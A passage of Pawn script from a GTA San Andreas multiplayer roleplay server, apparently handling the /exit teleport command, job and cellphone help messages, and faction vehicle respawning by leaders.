					if(InVeh != 1)
	{
					SetPlayerPos(playerid,1494.325195,1304.942871,1093.289062);
					SetPlayerInterior(playerid,3);
					SetPlayerVirtualWorld(playerid,72);
					GameTextForPlayer(playerid,"~w~Welcome to ~r~HQ",5000,1);
					Mahal[playerid] = 71;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
					FreezePlayer(playerid);
					}
					return 1;
				}
				else return 1;
			}
	else
	{
	return 1;
	}
	}
	}

	//--------------------------*** EXIT ***------------------------------------------------
			 if(strcmp(cmd, "/exit", true) == 0)
			{
			if(PlayerInfo[playerid][pJailTime] >= 1 && ICanFree[playerid] == 0)
			{
			//SCM(playerid,COLOR_YELLOW,"When You are in Jail You can't use /exit.");
			return 1;
			}
	if(IsPlayerConnected(playerid))
	{
	if(InSleep[playerid] == 1)
	{
	return 1;
	}
	if(IsServerRob==1&&(PoolToo1==0 || PoolToo2==0 || PoolToo3==0 || PoolToo4==0)&&(sGunner1==playerid||sGunner2==playerid||sHacker==playerid))return 1;
	if(IsPlayerInAnyVehicle(playerid))
	{
	return 1;
	}
	if(ToysStudioDT[playerid][Enable] != 0)return 1;
	if(CouldUseCMD[playerid] != 0) return 1;
	
	for(new bizid = 0; bizid < sizeof(BizzInfo); bizid++)
			{
	if (GetPlayerVirtualWorld(playerid) == BizzInfo[bizid][bVW] && PlayerToPoint(4.0, playerid,BizzInfo[bizid][bExitX],BizzInfo[bizid][bExitY],BizzInfo[bizid][bExitZ]))
				{
					SetPlayerInterior(playerid,0);
					SetPlayerPos(playerid,BizzInfo[bizid][bEntranceX],BizzInfo[bizid][bEntranceY],BizzInfo[bizid][bEntranceZ]);
					Mahal[playerid] = 9999;
					TooBiz[playerid] = 9999;
					TooHouse[playerid] = 9999;
					SetPlayerVirtualWorld(playerid,0);
					if(HeadphoneData[playerid][Sound] == false) StopAudioStreamForPlayer(playerid);
					return 1;
				}
	}

	for(new house = 0; house < sizeof(HouseInfo); house++)
		{
		if(OnFur[playerid] == 1) {
		SetPlayerInterior(playerid,0);
		SetPlayerVirtualWorld(playerid,0);
		Mahal[playerid] = 9999;
		TooHouse[playerid] = 9999;
		TooBiz[playerid] = 9999;
		SetPlayerPos(playerid,SBizzInfo[22][sbEntranceX],SBizzInfo[22][sbEntranceY],SBizzInfo[22][sbEntranceZ]);

		OnFur[playerid] = 0;
		return 1;

		}
	if (PlayerToPoint(4.0, playerid,HouseInfo[house][hEntrancex],HouseInfo[house][hEntrancey],HouseInfo[house][hEntrancez]) && (HouseInfo[house][hWorld] == GetPlayerVirtualWorld(playerid)) && OnFur[playerid] == 0)
				{
					SetPlayerInterior(playerid,0);
					SetPlayerVirtualWorld(playerid,0);
					SetPlayerPos(playerid,HouseInfo[house][hExitx],HouseInfo[house][hExity],HouseInfo[house][hExitz]);
					Mahal[playerid] = 9999;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
					return 1;
				}
		}
			if (PlayerToPoint(5.0, playerid, -103.559165,-24.225606,1000.718750))
			{
				SetPlayerPos(playerid, 2085.1194,2074.0383,11.0547);
				SetPlayerInterior(playerid, 0);
				SetPlayerVirtualWorld(playerid, 0);
				GameTextForPlayer(playerid, "~w~Las Venturas", 1000, 1);
				Mahal[playerid] = 9999;
				TooHouse[playerid] = 9999;
				TooBiz[playerid] = 9999;
				return 1;
			}
			else if(PlayerToPoint(5.0, playerid, 246.5325,62.4251,1003.6406))//LSPD
			{
				SetPlayerPos(playerid, 1554.9100,-1675.6428,16.1953);
				SetPlayerInterior(playerid, 0);
				SetPlayerVirtualWorld(playerid, 0);
				 GameTextForPlayer(playerid, "~w~Los Santos", 1000, 1);
				 Mahal[playerid] = 9999;
				TooHouse[playerid] = 9999;
				TooBiz[playerid] = 9999;
				 return 1;
			}
			else if(PTP(5.0, playerid, 1541.300170,-1360.734619,329.460815))
			{
				SetPlayerPos(playerid, 1570.3828,-1333.8882,16.4844);
				GameTextForPlayer(playerid, "~w~Los Santos", 1000, 1);
				Mahal[playerid] = 9999;
				TooHouse[playerid] = 9999;
				TooBiz[playerid] = 9999;
				return 1;
			}
			else if (PlayerToPoint(5, playerid, 288.7609,168.6815,1007.1719))//fbi
			{
				SetPlayerPos(playerid, 2287.0576,2432.1121,10.8203);
				SetPlayerInterior(playerid, 0);
				SetPlayerVirtualWorld(playerid, 0);
				GameTextForPlayer(playerid, "~w~Las Venturas", 1000, 1);
				Mahal[playerid] = 9999;
				TooHouse[playerid] = 9999;
				TooBiz[playerid] = 9999;
				return 1;
			}
			else if (PlayerToPoint(5, playerid, 386.5196,173.6847,1008.3828) && GetPlayerVirtualWorld(playerid) == 55)//LS City Hall
			{
				SetPlayerPos(playerid, 1481.0289,-1770.9703,18.7958);
				SetPlayerInterior(playerid, 0);
				SetPlayerVirtualWorld(playerid, 0);
				 GameTextForPlayer(playerid, "~w~Los Santos", 1000, 1);
				 Mahal[playerid] = 9999;
				 TooHouse[playerid] = 9999;
				TooBiz[playerid] = 9999;
				 return 1;
			}
			else if(PTP(5,playerid,1767.936523,-1542.816650,2001.300415) && GetPlayerVirtualWorld(playerid) == 10)
			{
				if(IsACop(playerid) || (IsAHacker(playerid) && ImHackedGates[playerid] == 1) || ICanFree[playerid] == 1)
				{
					SetPlayerPos(playerid,1769.327392,-1542.691162,2001.300415);
					return 1;
				}
				else return SCM(playerid,COLOR_BLUE,"You are not a Cop.");
			}
			/*else if(PTP(5,playerid,1803.498168, -1553.533691, 2001.493652) && GetPlayerVirtualWorld(playerid) == 10)
			{
				SetPlayerPos(playerid,1797.442504,-1578.950683,14.085444);
				SetPlayerVirtualWorld(playerid,0);
				SetPlayerInterior(playerid, 0);
				Mahal[playerid] = 9999;
				TooHouse[playerid] = 9999;
				TooBiz[playerid] = 9999;
			  if(PINFO[playerid][pJailTime] >= 1 && ICanFree[playerid] == 1)
			  {
			  ICanFree[playerid] = 0;
			  PlayerInfo[playerid][pJailTime] = 1;
			  }
				return 1;
			}*/
			else if (PlayerToPoint(5, playerid, 6.091179,-29.271898,1003.549438) && GetPlayerVirtualWorld(playerid) == 13)//24/7 LV
			{
				SetPlayerPos(playerid, 2097.4456,2224.2317,11.0234);
				SetPlayerInterior(playerid, 0);
				SetPlayerVirtualWorld(playerid, 0);
				GameTextForPlayer(playerid, "~w~Las Venturas", 1000, 1);
				Mahal[playerid] = 9999;
				TooHouse[playerid] = 9999;
				TooBiz[playerid] = 9999;
				return 1;
			}
			else if (PlayerToPoint(5, playerid, 6.091179,-29.271898,1003.549438) && GetPlayerVirtualWorld(playerid) == 14)//24/7 LV
			{
				SetPlayerPos(playerid, 2637.1113,1129.2675,11.1797);
				SetPlayerInterior(playerid, 0);
				SetPlayerVirtualWorld(playerid, 0);
				GameTextForPlayer(playerid, "~w~Las Venturas", 1000, 1);
				Mahal[playerid] = 9999;
				TooHouse[playerid] = 9999;
				TooBiz[playerid] = 9999;
				return 1;
			}
			else if (PlayerToPoint(2, playerid, 303.9991,-141.7700,1004.0625))//GSLS
			{
				SetPlayerPos(playerid, 305.3564,-141.8755,1004.0625);
				SetPlayerInterior(playerid, 7);
				SetPlayerVirtualWorld(playerid, 0);
				return 1;
			}
			else if (PlayerToPoint(2, playerid, 298.5961,-141.8859,1004.0547))//GSLS
			{
				SetPlayerPos(playerid, 300.1706,-141.8950,1004.0625);
				SetPlayerInterior(playerid, 7);
				SetPlayerVirtualWorld(playerid, 0);
				return 1;
			}


			else if (PlayerToPoint(2, playerid, 298.278991,-168.970382,999.593750))//GSSF
			{
				SetPlayerPos(playerid, 301.684722,-166.265716,999.610534);
				SetPlayerInterior(playerid, 6);
				return 1;
			}
			else if (PlayerToPoint(2, playerid, 306.400939,-159.116806,999.593750))//GSSF
			{
				SetPlayerPos(playerid, 306.400939,-159.116806,999.593750);
				SetPlayerInterior(playerid, 6);
				return 1;
			}


			else if (PlayerToPoint(2, playerid, 301.6781,-74.9160,1001.5156))//GSLV
			{
				SetPlayerPos(playerid, 301.7390,-77.3810,1001.5156);
				SetPlayerInterior(playerid, 4);
				return 1;
			}
			else if (PlayerToPoint(2, playerid, 304.5474,-57.6247,1001.5156))//GSLV
			{
				SetPlayerPos(playerid, 302.9118,-57.6741,1001.5156);
				SetPlayerInterior(playerid, 4);
				return 1;
			}
			 else if (PlayerToPoint(5, playerid, -27.312299,-29.277599,1003.557250) && GetPlayerVirtualWorld(playerid) == 23)//24/7 5 LS
			 {
					SetPlayerPos(playerid, -78.5365,-1169.9178,2.1389);
					SetPlayerInterior(playerid, 0);
					SetPlayerVirtualWorld(playerid, 0);
					GameTextForPlayer(playerid, "~w~Los Santos", 5000, 1);
					Mahal[playerid] = 9999;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
					return 1;
			 }
			 else if (PlayerToPoint(5, playerid, -27.312299,-29.277599,1003.557250) && GetPlayerVirtualWorld(playerid) == 24)//24/7 6
			 {
					SetPlayerPos(playerid, 762.7137,-1792.9973,13.0234);
					SetPlayerInterior(playerid, 0);
					SetPlayerVirtualWorld(playerid, 0);
					GameTextForPlayer(playerid, "~w~Los Santos", 5000, 1);
					Mahal[playerid] = 9999;
					TooHouse[playerid] = 9999;
				TooBiz[playerid] = 9999;
					return 1;
			 }
			else if (PlayerToPoint(10.0, playerid,1701.530639, -1667.804565, 20.218750) && GetPlayerVirtualWorld(playerid) == 40015)//VLA HQ
				{

					SetPlayerInterior(playerid,0);
					SetPlayerPos(playerid,2792.930175,-1087.530761,30.718750);
					Mahal[playerid] = 9999;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
					SetPlayerVirtualWorld(playerid, 0);
					return 1;
				}

			else if (PlayerToPoint(5, playerid, 1298.830810,-795.336669,1084.007812) && GetPlayerVirtualWorld(playerid) == 40012) // Grove Street Exit
			{
				SetPlayerPos(playerid, 2637.1936,2352.0090,10.8203);
				SetPlayerInterior(playerid, 0);
				GameTextForPlayer(playerid, "~r~Las ~g~Venturas",5000,1);
				Mahal[playerid] = 9999;
				TooHouse[playerid] = 9999;
				TooBiz[playerid] = 9999;
				SetPlayerVirtualWorld(playerid, 0);
				return 1;
			}
			else if(PlayerToPoint(5.0, playerid, 2324.611328, -1146.620605, 1050.710083) && GetPlayerVirtualWorld(playerid) == 40014) // TBF Exit
			{
				SetPlayerPos(playerid, 1455.4546,750.9794,11.0234);
				SetPlayerInterior(playerid, 0);
				SetPlayerVirtualWorld(playerid, 0);
				GameTextForPlayer(playerid, "~r~Las ~g~Venturas",5000,1);
				SetPlayerVirtualWorld(playerid, 0);
				Mahal[playerid] = 9999;
				TooHouse[playerid] = 9999;
				TooBiz[playerid] = 9999;
				return 1;
			}
			else if (PlayerToPoint(8.0, playerid,1701.530639, -1667.804565, 20.218750) && GetPlayerVirtualWorld(playerid) == 40013)//Vagos HQ
				{
					SetPlayerInterior(playerid,0);
					SetPlayerPos(playerid,1122.7065,-2037.0063,69.8942);
					SetPlayerVirtualWorld(playerid, 0);
					Mahal[playerid] = 9999;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
					SetPlayerVirtualWorld(playerid, 0);
					return 1;
				}
						else if (PlayerToPoint(5.0, playerid,373.697601, 106.429779, 1027.251220) && GetPlayerVirtualWorld(playerid) == 40017)//Hacker HQ
				{
					SetPlayerInterior(playerid,0);
					SetPlayerPos(playerid,852.4714,-1436.4944,15.0437);
					GameTextForPlayer(playerid, "~r~Los ~g~Santos",5000,1);
					Mahal[playerid] = 9999;
					TooHouse[playerid] = 9999;
				    TooBiz[playerid] = 9999;
					SetPlayerVirtualWorld(playerid, 0);
					return 1;
				}
			else if (PlayerToPoint(5, playerid, 140.279296, 1367.209716, 1083.861206) && GetPlayerVirtualWorld(playerid) == 4005) // Da Nang Boys Exit
			{
				SetPlayerPos(playerid,725.5550,-1451.0232,17.6953);
				SetPlayerInterior(playerid, 0);
				GameTextForPlayer(playerid, "~r~Los ~g~Santos",5000,1);
				SetPlayerVirtualWorld(playerid, 0);
				Mahal[playerid] = 9999;
				TooHouse[playerid] = 9999;
				TooBiz[playerid] = 9999;
				return 1;
			}

			else if (PlayerToPoint(8.0, playerid,1298.830810,-795.336669,1084.007812) && GetPlayerVirtualWorld(playerid) == 4006)//Triads HQ
				{
					SetPlayerInterior(playerid,0);
					SetPlayerPos(playerid,1456.7424,2773.4614,10.8203);
					Mahal[playerid] = 9999;
					SetPlayerVirtualWorld(playerid, 0);
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
					return 1;
				}
			else if (PlayerToPoint(5, playerid, 1701.744262,-1667.856689,20.218750) && GetPlayerVirtualWorld(playerid) == 54) // Hitman Exit
			{
				SetPlayerPos(playerid,1080.997192,-345.408233,73.984069);
				SetPlayerVirtualWorld(playerid, 0);
				SetPlayerInterior(playerid, 0);
				GameTextForPlayer(playerid, "~r~Los ~g~Santos",5000,1);
				Mahal[playerid] = 9999;
				TooHouse[playerid] = 9999;
				TooBiz[playerid] = 9999;
				return 1;
			}
			else if (PlayerToPoint(5, playerid, 226.293991,-7.431529,1002.210937) && GetPlayerVirtualWorld(playerid) == 67)//VICTIM LV
			{
				SetPlayerPos(playerid,2802.8596,2430.6089,11.0625);
				SetPlayerVirtualWorld(playerid, 0);
				SetPlayerInterior(playerid, 0);
				GameTextForPlayer(playerid, "~w~Las Venturas",5000,1);
				Mahal[playerid] = 9999;
				TooHouse[playerid] = 9999;
				TooBiz[playerid] = 9999;
				return 1;
			}
			else if (PlayerToPoint(5, playerid, 1494.325195,1304.942871,1093.289062) && GetPlayerVirtualWorld(playerid) == 70) // TAXI LV Exit
			{
				SetPlayerPos(playerid, 937.3935,1733.2067,8.8516);
				SetPlayerInterior(playerid, 0);
				SetPlayerVirtualWorld(playerid, 0);
				GameTextForPlayer(playerid, "~r~Las ~g~Venturas",5000,1);
				Mahal[playerid] = 9999;
				TooHouse[playerid] = 9999;
				TooBiz[playerid] = 9999;
				return 1;
			}
			else if(PTP(5,playerid,1494.325195,1304.942871,1093.289062) && GetPlayerVirtualWorld(playerid) == 71)
			{
			SetPlayerPos(playerid,1607.520996,1815.756591,10.820312);
			SetPlayerInterior(playerid,0);
			SetPlayerVirtualWorld(playerid,0);
			Mahal[playerid] = 9999;
			TooHouse[playerid] = 9999;
			TooBiz[playerid] = 9999;
			return 1;
			}
			else if(PTP(5,playerid,1494.325195,1304.942871,1093.289062) && GetPlayerVirtualWorld(playerid) == 72)
			{
				//SetPlayerPos(playerid,649.123413,-1357.398437,13.568209);
				SetPlayerPos(playerid, -329.8395,1536.6249,76.6117);
				SetPlayerInterior(playerid,0);
				SetPlayerVirtualWorld(playerid,0);
				GameTextForPlayer(playerid, "~r~Las ~g~Venturas",5000,1);
				Mahal[playerid] = 9999;
				TooHouse[playerid] = 9999;
				TooBiz[playerid] = 9999;
				return 1;
			}
			else if (PlayerToPoint(3.0, playerid,387.7978,173.8582,1008.3828))
			{
				SetPlayerInterior(playerid,0);
				SetPlayerPos(playerid,1481.0206,-1771.1138,18.7958);
				Mahal[playerid] = 9999;
				TooHouse[playerid] = 9999;
				TooBiz[playerid] = 9999;
				return 1;
			}
			else if (IsPlayerInAnyVehicle(playerid))
			{
				if(IsPlayerInAnyVehicle(playerid) && !engineOn[GetPlayerVehicleID(playerid)] && GetPlayerState(playerid) == PLAYER_STATE_DRIVER)
				{
					TogglePlayerControllable(playerid, 1);
					RemovePlayerFromVehicle(playerid);
				}
				if(GetPlayerVehicleID(playerid) >= 112 && GetPlayerVehicleID(playerid) <= 130 || GetPlayerVehicleID(playerid) >= 135 && GetPlayerVehicleID(playerid) <= 154)
				{
					TogglePlayerControllable(playerid, 1);
					RemovePlayerFromVehicle(playerid);
				}
			return 1;
			}
	else
	{
	return 1;
	}


		}

	}
	//----------------------------------[HELP]-----------------------------------------------" /live /news"
		if(strcmp(cmd, "/jobhelp", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pJob] == 1) {
				{
					SendMessage(playerid, CRISTIAN,"_______________________________________");
					SendMessage(playerid, COLOR_WHITE,"*** HELP *** type a command for more help");
					SendMessage(playerid, COLOR_GRAD3,"*** JOB ***    /find, /cancel find"); }
				}
				else if(PlayerInfo[playerid][pJob] == 2) {
				{
					SendMessage(playerid, CRISTIAN,"_______________________________________");
					SendMessage(playerid, COLOR_WHITE,"*** HELP *** type a command for more help");
					SendMessage(playerid,COLOR_GRAD3,"*** JOB *** /free, /[acc]ept approval, /[acc]ept lawyer"); }
				}
				else if(PlayerInfo[playerid][pJob] == 4) {
				{
					SendMessage(playerid, CRISTIAN,"_______________________________________");
					SendMessage(playerid, COLOR_WHITE,"*** HELP *** type a command for more help");
					SendMessage(playerid,COLOR_GRAD3,"*** JOB *** /buydrugs /selldrugs /usedrugs, /illicit, /pickupdrug"); }
				}
				else if(PlayerInfo[playerid][pJob] == 5) {
				{
					SendMessage(playerid, CRISTIAN,"_______________________________________");
					SendMessage(playerid, COLOR_WHITE,"*** HELP *** type a command for more help");
					SendMessage(playerid,COLOR_GRAD3,"*** JOB *** /dropcar"); }
				}
				else if(PlayerInfo[playerid][pJob] == 7) {
				{
					SendMessage(playerid, CRISTIAN,"_______________________________________");
					SendMessage(playerid, COLOR_WHITE,"*** HELP *** type a command for more help");
					SendMessage(playerid,COLOR_GRAD3,"*** JOB *** /repair /refill /jobduty"); }
				}
				else if(PlayerInfo[playerid][pJob] == 9) {
				{
					SendMessage(playerid, CRISTIAN,"_______________________________________");
					SendMessage(playerid, COLOR_WHITE,"*** HELP *** type a command for more help");
					SendMessage(playerid,COLOR_GRAD3,"*** JOB *** /sellgun /materials get /materials deliver /creategun /sellmaterials"); }
				}
				else if(PlayerInfo[playerid][pJob] == 11) {
				{
					SendMessage(playerid, CRISTIAN,"_______________________________________");
					SendMessage(playerid, COLOR_WHITE,"*** HELP *** type a command for more help");
					SendMessage(playerid,COLOR_GRAD3,"*** JOB *** /heal"); }
				}
				else if(PlayerInfo[playerid][pJob] == 14) {
				{
					SendMessage(playerid, CRISTIAN,"_______________________________________");
					SendMessage(playerid, COLOR_WHITE,"*** HELP *** type a command for more help");
					SendMessage(playerid,COLOR_GRAD3,"*** JOB *** /fare"); }
				}
				else if(PlayerInfo[playerid][pJob] == 16) {
				{
					SendMessage(playerid, CRISTIAN,"_______________________________________");
					SendMessage(playerid, COLOR_WHITE,"*** HELP *** type a command for more help");
					SendMessage(playerid,COLOR_GRAD3,"*** JOB *** This job doesn't has any command, just start transporting trailers too checkpoint"); }
				}
				else if(PlayerInfo[playerid][pJob] == 18) {
				{
					SendMessage(playerid, CRISTIAN,"_______________________________________");
					SendMessage(playerid, COLOR_WHITE,"*** HELP *** type a command for more help");
					SendMessage(playerid,COLOR_GRAD3,"*** JOB *** This job doesn't has any command, just start farming with transporting too checkpoint"); }
				}
				else if(PlayerInfo[playerid][pJob] == 20) {
				{
					SendMessage(playerid, CRISTIAN,"_______________________________________");
					SendMessage(playerid, COLOR_WHITE,"*** HELP *** Enter a trash car to start working");
					SendMessage(playerid,COLOR_GRAD3,"*** Commands *** /dumptrash"); }
				}
				else if(PlayerInfo[playerid][pJob] == 21) {
				{
					SendMessage(playerid, CRISTIAN,"_______________________________________");
					SendMessage(playerid, COLOR_WHITE,"*** HELP *** Enter a trash car to start working");
					SendMessage(playerid,COLOR_GRAD3,"*** JOB *** This job doesn't has any command, just start pizza boy with transporting too checkpoint"); }
				}
				else if(PlayerInfo[playerid][pJob] == 22) {
				{
					SendMessage(playerid, CRISTIAN,"_______________________________________");
					SendMessage(playerid, COLOR_WHITE,"*** HELP *** Enter a sweeper car to start working");
					SendMessage(playerid,COLOR_GRAD3,"*** JOB *** This job doesn't has any command, just start sweeper with clear the streets."); }
				}
				else if(PlayerInfo[playerid][pJob] == 23) {
				{
					SendMessage(playerid, CRISTIAN,"_______________________________________");
					SendMessage(playerid, COLOR_WHITE,"*** HELP *** type a command for more help");
					SendMessage(playerid,COLOR_GRAD3,"*** JOB *** /mow, /convertgrape, /sellgrapes, /sellliquors, /liquor"); }
				}
				else if(PlayerInfo[playerid][pJob] == 24) {
				{
					SendMessage(playerid, CRISTIAN,"_______________________________________");
					SendMessage(playerid, COLOR_WHITE,"*** HELP *** type a command for more help");
					SendMessage(playerid,COLOR_GRAD3,"*** JOB *** /oil, /impoil /selloil"); }
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/cellphonehelp", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
					SendMessage(playerid, CRISTIAN,"_______________________________________");
					SendMessage(playerid, COLOR_WHITE,"*** HELP *** type a command for more help");
					SendMessage(playerid, COLOR_GRAD3,"*** CELLPHONE *** /call /sms (/p)ickup (/h)angup /number");
			}
			return 1;
		}
		if(strcmp(cmd, "/fvr", true) == 0 || strcmp(cmd, "/rv", true) == 0)
		{
		if(PINFO[playerid][pRank] <= 5) return SCM(playerid,COLOR_YELLOW2,"Error: Only leaders can use this command.");
		if(PINFO[playerid][pLeader] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
        new str[144], nametaraf[25];
		if(PlayerInfo[playerid][pLeader] != 0 || (PINFO[playerid][pMember] != 0 && PINFO[playerid][pRank] >= 6))
		{
		if(PlayerInfo[playerid][pLeader] == 1 || (PINFO[playerid][pMember] == 1 && PINFO[playerid][pRank] >= 6))
		{
		for(new i = 16;i<39;i++)
		{
		if(IsUnusedMashin(i))
		{
		SetVehicleToRespawn(i);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(i),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",i,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}
		for(new i = 671;i<695;i++)
		{
		if(IsUnusedMashin(i))
		{
		SetVehicleToRespawn(i);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(i),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",i,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}



		if(IsUnusedMashin(54))
		{
		SetVehicleToRespawn(54);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(54),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid 54, because it driving by %s.",nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		if(IsUnusedMashin(55))
		{
		SetVehicleToRespawn(55);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(55),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid 55, because it driving by %s.",nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		for(new i = 714;i<764;i++)
		{
		if(IsUnusedMashin(i))
		{
		SetVehicleToRespawn(i);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(i),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",i,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}
		}


		if(PlayerInfo[playerid][pLeader] == 2 || (PINFO[playerid][pMember] == 2 && PINFO[playerid][pRank] >= 6))
		{
		for(new i = 39;i<54;i++)
		{
		if(IsUnusedMashin(i))
		{
		SetVehicleToRespawn(i);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(i),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",i,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}
		}


		/*if(PlayerInfo[playerid][pLeader] == 21)
		{
		for(new i = 700;i<710;i++)
		{
		if(IsUnusedMashin(i))
		{
		SetVehicleToRespawn(i);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(i),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",i,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}
		}*/

		if(PlayerInfo[playerid][pLeader] == 4 || (PINFO[playerid][pMember] == 4 && PINFO[playerid][pRank] >= 6))
		{
		for(new i = 58;i<66;i++)
		{
		if(IsUnusedMashin(i))
		{
		SetVehicleToRespawn(i);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(i),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",i,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}
		if(IsUnusedMashin(89))
		{
		SetVehicleToRespawn(89);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(89),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid 89, because it driving by %s.",nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}
		if(PlayerInfo[playerid][pLeader] == 5 || (PINFO[playerid][pMember] == 5 && PINFO[playerid][pRank] >= 6))
		{
		for(new i = 448;i<459;i++)
		{
		if(IsUnusedMashin(i))
		{
		SetVehicleToRespawn(i);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(i),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",i,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}
		for(new i = 330;i<336;i++)
		{
		if(IsUnusedMashin(i))
		{
		SetVehicleToRespawn(i);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(i),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",i,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}
		if(IsUnusedMashin(155))
		{
		SetVehicleToRespawn(155);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(155),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid 155, because it driving by %s.",nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		if(IsUnusedMashin(354))
		{
		SetVehicleToRespawn(354);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(354),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid 354, because it driving by %s.",nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		if(IsUnusedMashin(661))
		{
		SetVehicleToRespawn(661);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(661),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid 661, because it driving by %s.",nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		if(IsUnusedMashin(643))
		{
		SetVehicleToRespawn(643);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(643),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid 643, because it driving by %s.",nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		if(IsUnusedMashin(640))
		{
		SetVehicleToRespawn(640);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(640),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid 640, because it driving by %s.",nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}
		if(PlayerInfo[playerid][pLeader] == 6 || (PINFO[playerid][pMember] == 6 && PINFO[playerid][pRank] >= 6))
		{
		if(IsUnusedMashin(642))
		{
		SetVehicleToRespawn(642);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(642),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid 642, because it driving by %s.",nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		if(IsUnusedMashin(639))
		{
		SetVehicleToRespawn(639);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(639),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid 639, because it driving by %s.",nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		for(new i = 177;i<183;i++)
		{
		if(IsUnusedMashin(i))
		{
		SetVehicleToRespawn(i);

		}
		else
		{
		GetPlayerName(GetVehicleDriverID(i),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",i,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}
		for(new i = 459;i<472;i++)
		{
		if(IsUnusedMashin(i))
		{
		SetVehicleToRespawn(i);

		}
		else
		{
		GetPlayerName(GetVehicleDriverID(i),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",i,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}
		}
		if(PlayerInfo[playerid][pLeader] == 7)
		{
		if(IsUnusedMashin(149))
		{
		SetVehicleToRespawn(149);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(149),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",149,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}
		if(PlayerInfo[playerid][pLeader] == 8 || (PINFO[playerid][pMember] == 8 && PINFO[playerid][pRank] >= 6))
		{
				if(IsUnusedMashin(56))
				{
					SetVehicleToRespawn(56);
				}
				else
				{
					GetPlayerName(GetVehicleDriverID(56),nametaraf,25);
					format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",56,nametaraf);
					SCM(playerid,COLOR_SINA85,str);
				}
			for(new i = 66;i<69;i++)
			{
				if(IsUnusedMashin(i))
				{
					SetVehicleToRespawn(i);
				}
				else
				{
					GetPlayerName(GetVehicleDriverID(i),nametaraf,25);
					format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",i,nametaraf);
					SCM(playerid,COLOR_SINA85,str);
				}
			}
			for(new i = 641;i<664;i++)
			{
				if(IsUnusedMashin(i))
				{
					SetVehicleToRespawn(i);
				}
				else
				{
					GetPlayerName(GetVehicleDriverID(i),nametaraf,25);
					format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",i,nametaraf);
					SCM(playerid,COLOR_SINA85,str);
				}
			}
		}


		if(PlayerInfo[playerid][pLeader] == 3 || (PINFO[playerid][pMember] == 3 && PINFO[playerid][pRank] >= 6))
		{
		for(new i = 1;i<16;i++)
		{
		if(IsUnusedMashin(i))
